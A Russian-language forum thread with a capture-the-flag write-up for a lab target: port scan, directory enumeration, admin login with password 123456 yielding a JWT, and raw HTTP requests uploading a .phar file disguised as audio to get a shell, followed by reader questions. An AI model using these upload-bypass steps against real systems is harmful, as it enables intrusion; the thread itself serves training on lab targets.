HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.12.2024, 20:40
Archivist
Познающий
Регистрация: 12.09.2024
Сообщений: 41
С нами: 880165

Репутация: 0
По умолчанию

Платформа : standoff365.com

Оглавление:
1. Nmap
2. Bypass redirect via jwt token
3. После обхода
4. Роботы на подработке
5. Руками
6. P.S от автора

Nmap

Проводим стартовую разведку

Из портов на сайте нет ничего интересного

Код:


Код:
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1720/tcp open  h323q931
direcoty через feroxbuster не нашёл ничего интересного

Код:


Код:
http://10.124.1.241/secret/
http://10.124.1.241/index.php
http://10.124.1.241/styles/
http://10.124.1.241/uploads/
http://10.124.1.241/js/

Роботы говорят

Код:


Код:
User-agent: *
Disallow: /secret/
Disallow: /core/
Disallow: /uploads/
Bypass redirect via jwt token
через перебор каталогов находим

Код:
http://10.124.1.241/js/
Cтоит обратить внимание на следующий файлик.

Код:
http://10.124.1.241/js/auth.js
Из него можно выписать следующие php файлы
1. сore/userLogin.php
2. secret/secretPanel.php

Из файла auth.js я увидел поля ввода данных ,а вводить нужно в core/userLogin.php
Далее чуть чуть причесал(добавил отправку данных в формате JSON + method: POST) запрос
И только хотел начать перебор паролей , как на 123456 все подошло

Код:


Код:
POST /core/userLogin.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Cookie: pma_lang=en; 
Upgrade-Insecure-Requests: 1
Content-Length: 53

{
   "username": "admin",
   "password":"123456"
}
В ответ на этот запрос я получил jwt token

Код:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0.fFS_sVBsE1Xgby-9edtjByHPkq-AAmeZ_rfV5SzIKXU
Проверим через сайт начинку токена (site: JWT.IO) , увидел что токен Админский значит : нужно его куда-нибудь подставить

Берем нежно наш токен , чтобы пока несли не сломался
и идем в

Код:
10.124.1.241/secret
После обхода
мы получили страничку где можем загружать файлы , почему бы нам что нибудь да не загрузить?

Роботы на подработке
Решил проверить эффективность следующего инструмента

Код:
https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file
Пример команды для перебора

Код:
python upload_bypass.py -r test -s 'file has been uploaded' -E php -D /uploads --burp_http --exploit
Содержимое файла test, было изменено в зависимости от документации

Код:
https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file#example-2
Код:


Код:
POST /secret/uploadMusic.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 178827
Origin: http://10.124.1.241
DNT: 1
Connection: keep-alive
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="*filename*"
Content-Type: *mimetype*

*data*
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"

Upload
-----------------------------20454028017691591591771889877--
Руками

В процессе поиска нашёл вот такую забавную штуку

https://owasp.org/www-chapter-pune/meetups/2023/Jan/File-upload-Vulnerability-Praveen-Sutar.pptx.pdf

PHAR (PHP Archive) — это формат, который позволяет упаковывать файлы PHP и другие ресурсы в один архив, что облегчает распространение и использование приложений. PHAR-файлы могут содержать PHP-код, библиотеки, изображения и другие ресурсы, что делает их удобными для развертывания.

- Исполняемость: PHAR-файлы могут быть исполняемыми. Это означает, что вы можете запускать их как обычные скрипты PHP.

Запрос При перехвате в burp и указываем payloads для нашего вредосоного архива

Код:


Код:
POST /secret/uploadMusic.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 10.124.1.241
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 706
Origin: http://10.124.1.241
DNT: 1
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="bob.phar"
Content-Type: audio/mpeg

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"

Upload
-----------------------------20454028017691591591771889877--
После получения revshell or url?cmd Забираем их* флаг

P.S
Возможно Заметки/Статьи не будут публиковаться на форуме Antichat.net , а вот тут в формате Папки/Архива для приложения Obsidian - Sharpen your thinking , но на данный момент Архив пуст GitHub - username6345/writeups_for_the_reader: different ctf tasks or something else
Возможно еще увидимся тут, ... и нет) не там где вы подумали.
 
Ответить с цитированием

  #2  
Старый 30.12.2024, 20:39
yetiraki
Новичок
Регистрация: 07.02.2023
Сообщений: 0
С нами: 1719376

Репутация: 0
По умолчанию

Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.

После того как нашли http://10.124.1.241/js/auth.js, посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey JuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5j b20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3 QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0. 1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?

Надеюсь понятно спросил =)

ЗЫ
С наступающими праздниками!
 
Ответить с цитированием

  #3  
Старый 30.12.2024, 21:06
Archivist
Познающий
Регистрация: 12.09.2024
Сообщений: 41
С нами: 880165

Репутация: 0
По умолчанию

Цитата:

yetiraki сказал(а):

Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.

После того как нашли http://10.124.1.241/js/auth.js, посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey JuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5j b20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3 QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0. 1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?

Надеюсь понятно спросил =)

ЗЫ
С наступающими праздниками!

Опечатка* в решени:

Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json

Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение



После данного комментария из writeups была убрана данная деталь
 
Ответить с цитированием

  #4  
Старый 30.12.2024, 21:17
yetiraki
Новичок
Регистрация: 07.02.2023
Сообщений: 0
С нами: 1719376

Репутация: 0
По умолчанию

Цитата:

Archivist сказал(а):

Опечатка* в решени:

Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json

Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение

После данного комментария из writeups была убрана данная деталь

Спасибо.
Я себе и так все голову сломал с этим таском, а оказалось как минимум проще, чем я думал, но вот в этом месте прям завис.
 
Ответить с цитированием

  #5  
Старый 01.04.2026, 17:50
PSY12
Новичок
Регистрация: 04.10.2018
Сообщений: 0
С нами: 4004893

Репутация: 0
По умолчанию

У вас скорее всего альтернативное решение. По задумке, нужно было взламывать JWT-токен, который выдавался при нажатии на кнопку на главное странице сайта.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.